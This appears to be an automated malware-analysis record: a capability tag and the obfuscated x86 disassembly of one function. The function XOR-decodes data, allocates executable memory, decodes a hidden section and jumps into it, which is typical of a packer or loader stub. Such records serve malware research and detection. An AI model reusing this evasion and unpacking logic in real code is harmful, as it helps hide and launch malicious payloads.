Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe780de1
mov edx, ebx
add ebx, 0x836d3fbe
popal
and ebx, edx
dec edx
sub ebx, 0x72fb569a
mov eax, 0
mov ecx, edi
and ebx, ebx
not edx
mov esi, ecx
and edx, ebx
or ebx, ebx
mov edi, esi
add edx, 1
sub ebx, 0xc1ecd5f1
inc eax
add ebx, edx
sub ebx, 0x497c9bbf
cmp eax, 0x100fb08
jne 0xa789c9
and ebx, ebx
sub ebx, 0x27e87f26
sub ebx, edx
mov ebx, edx
dec edx
mov ebx, 0xa78796
dec ecx
sub edx, ecx
mov eax, 0xa7898a
mov ecx, 0x2f03df6
mov ecx, edx
sub edi, 0xdcb5947f
mov esi, dword [ebx]
sub edi, 0xa0bcefef
mov edx, ecx
and esi, 0xff
mov edx, 0xf174860f
or edx, ecx
mov edi, edx
xor dword [eax], esi
and edx, edx
not edx
add edx, 1
inc eax
add edi, 1
mov edx, 0xf8d84270
add edx, 0xfa455e11
inc ebx
sub ecx, 1
or edx, edi
mov edx, 0xda9763d1
cmp eax, entry0
jl 0xa78a1f
or ecx, ecx
not edx
inc ecx
and ecx, edi
dec esi
sub esi, 0x7e23d6b4
sub ebx, 0x4a682052
mov edi, 0xa7898e
and ecx, ebx
sub edx, 0xf4e93422
and ebx, ecx
mov edi, dword [edi]
inc edx
sub esi, ecx
dec esi
mov edi, dword [edi]
dec ebx
sub ebx, 0x4ef809dc
push edi
mov esi, 0xb4fbeae9
inc ebx
inc esi
mov edi, 0xa7898a
or ebx, esi
sub ebx, esi
dec edx
mov edi, dword [edi]
dec ecx
mov edx, ebx
mov edi, dword [edi]
and ebx, edx
add edx, 1
push 0xa78992
not ecx
add ebx, 0x327a24b7
call edi
or edx, ebx
inc ecx
inc edx
pop edi
sub ecx, esi
and esi, ebx
push 0xa7899f
add ecx, 1
or ebx, esi
push eax
not ecx
mov ebx, 0x9f48bb03
call edi
mov edx, esi
sub edx, 1
add esi, 0xaa959b22
push 0x40
dec ecx
mov esi, ebx
push 0x3000
add edx, esi
add ebx, 0xa764758f
dec ecx
sub esp, 4
mov dword [esp], 0x20000c4b
not ebx
and ebx, ecx
sub ebx, esi
push 0
sub edx, 1
inc ebx
call eax
add esi, 0xe5379f53
add edx, edx
mov ecx, 0xa8ba2f0c
add eax, 0x20000bbf
add edx, 0xa48898c3
add esi, 1
mov edi, 0xeaefe2e3
inc ebx
not esi
not ecx
mov dword [eax], edi
not ecx
inc ebx
or ebx, ecx
mov edi, dword [eax]
sub esi, 0x99977843
mov ebx, 0x8c09475c
cmp edi, 0xeaefe2e3
je 0xa78b80
mov ebx, 0
mov edx, dword [ebx]
sub esi, 0x25b2c91d
or edx, ecx
or edx, ecx
mov edx, 0xaf9cad59
mov esi, 0xadd5c919
inc edx
add ebx, 0xd3ba0153
mov edi, section..reltc
add edx, 0x38561a0e
not edx
or edx, ebx
mov eax, 0xa78795
and edx, edx
and ebx, ebx
mov ecx, 0
inc ebx
add ebx, edx
mov esi, 0xa78796
mov ebx, edx
inc edx
mov ebx, edx
lea esi, [ecx + esi]
sub ebx, 0x827a1f8c
not ebx
dec edx
mov esi, dword [esi]
mov ebx, 0xcefec859
mov ebx, 0xcbb78a07
mov edx, 0xb068d956
and esi, 0xff
sub ebx, 0xf5944457
or edx, ebx
add ecx, 1
sub ebx, 0x28b46bb1
add edx, 0x75618df6
cmp ecx, 0x1f4
jne 0xa78c0f
mov ecx, 0
sub ebx, 0x595921b6
add ebx, 0xb69e200f
not ebx
sub ebx, 1
sub ebx, edx
sub ebx, edx
xor dword [edi], esi
or edx, ebx
dec ebx
add edi, 2
dec edx
or ebx, edx
cmp edi, eax
jl 0xa78bbb
or ebx, edx
sub edx, ebx
add ebx, 0x5eeb8ba9
add ebx, 1
mov ebx, section..reltc
sub esi, 0x77e29e08
sub esi, edi
mov ecx, section..reltc
mov esi, 0xa8374555
sub esi, edi
mov edx, 0xa78795
sub esi, 0x7fd0a784
add edi, edi
sub esi, edi
mov eax, 0
not esi
sub esi, edi
add edi, 0xe7c22140
mov al, byte [ecx]
not edi
mov edi, 0x628c9762
inc esi
mov byte [ebx], al
add edi, 0xec4721e3
not edi
inc ebx
not edi
mov esi, edi
not esi
add ecx, 2
add edi, esi
mov edi, 0xb69db661
add esi, 0xfb12d5b9
cmp ecx, edx
jle 0xa78c84
or esi, esi
sub esi, 0x87548844
inc edi
add ebx, 0x6898119b
add edx, 0xcb08a6a4
sub esp, 4
mov dword [esp], 0x8dc6a0
mov ebx, edx
add ebx, ebx
or ebx, ebx
ret